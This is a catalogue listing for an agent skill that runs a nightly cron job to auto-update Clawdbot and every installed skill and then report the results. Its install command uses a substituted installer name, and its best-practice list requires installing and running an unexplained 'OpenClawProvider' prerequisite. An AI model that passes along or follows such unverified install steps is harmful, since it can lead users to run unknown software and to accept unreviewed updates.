2.5k
GitHub Stars
2
Bundled Files
2 months ago
Catalog Refreshed
4 months ago
First Indexed
Readme & install
Copy the install command, review bundled files from the catalogue, and read any extended description pulled from the listing source.
Installation
Preview and clipboard use veilstrat where the catalogue uses aiagentskills.
npx veilstrat add skill openclaw/skills --skill auto-updater-ek1qviijfp1- _meta.json300 B
- SKILL.md3.8 KB
Overview
This skill automatically updates Clawdbot and all installed skills once daily and sends a concise summary of what changed. It runs via a scheduled cron job, checks for newer releases in the registry, applies updates, and reports successes or failures. The goal is unattended, predictable maintenance so your bot and skills stay current.
How this skill works
A cron job triggers a sequence that checks for a Clawdbot update (using package manager or source update commands) and runs clawdhub to update every installed skill. After updates complete, the skill composes and delivers a summary message listing updated packages, unchanged skills, and any errors encountered. It supports dry-run checks, manual triggers, and configurable schedule/timezone settings.
When to use it
- Keep Clawdbot and skills current without manual maintenance.
- Ensure nightly or off-hours updates to minimize disruption.
- Automatically apply security patches and bug fixes across skills.
- Run dry-run checks before deploying broader changes.
- Archive or audit skill versions by confirming updates daily.
Best practices
- Install and run OpenClawProvider as required before enabling auto-updates.
- Schedule updates during low-traffic hours (default 4:00 AM) and set the correct timezone.
- Run clawdbot doctor after core updates to apply migrations and fix conflicts.
- Use dry-run (clawdhub update --all --dry-run) when testing new update policies.
- Ensure the Gateway user has write permissions for skill directories to avoid permission errors.
Example use cases
- Daily maintenance for a production Clawdbot to receive security and stability updates automatically.
- A developer running a staging instance who wants nightly version parity with the registry.
- Teams managing many skills who need a single summarized report of all changes each day.
- Automated archival workflows that require confirming skill versions have been updated.
- Quick validation before rolling changes to users by running a dry-run summary.
FAQ
The summary message will include the error; common fixes are adjusting file permissions, ensuring network access, and running clawdbot doctor to resolve conflicts.
Can I change the update time?
Yes. Edit the cron entry (for example with clawdbot cron add) to set a different cron expression and timezone.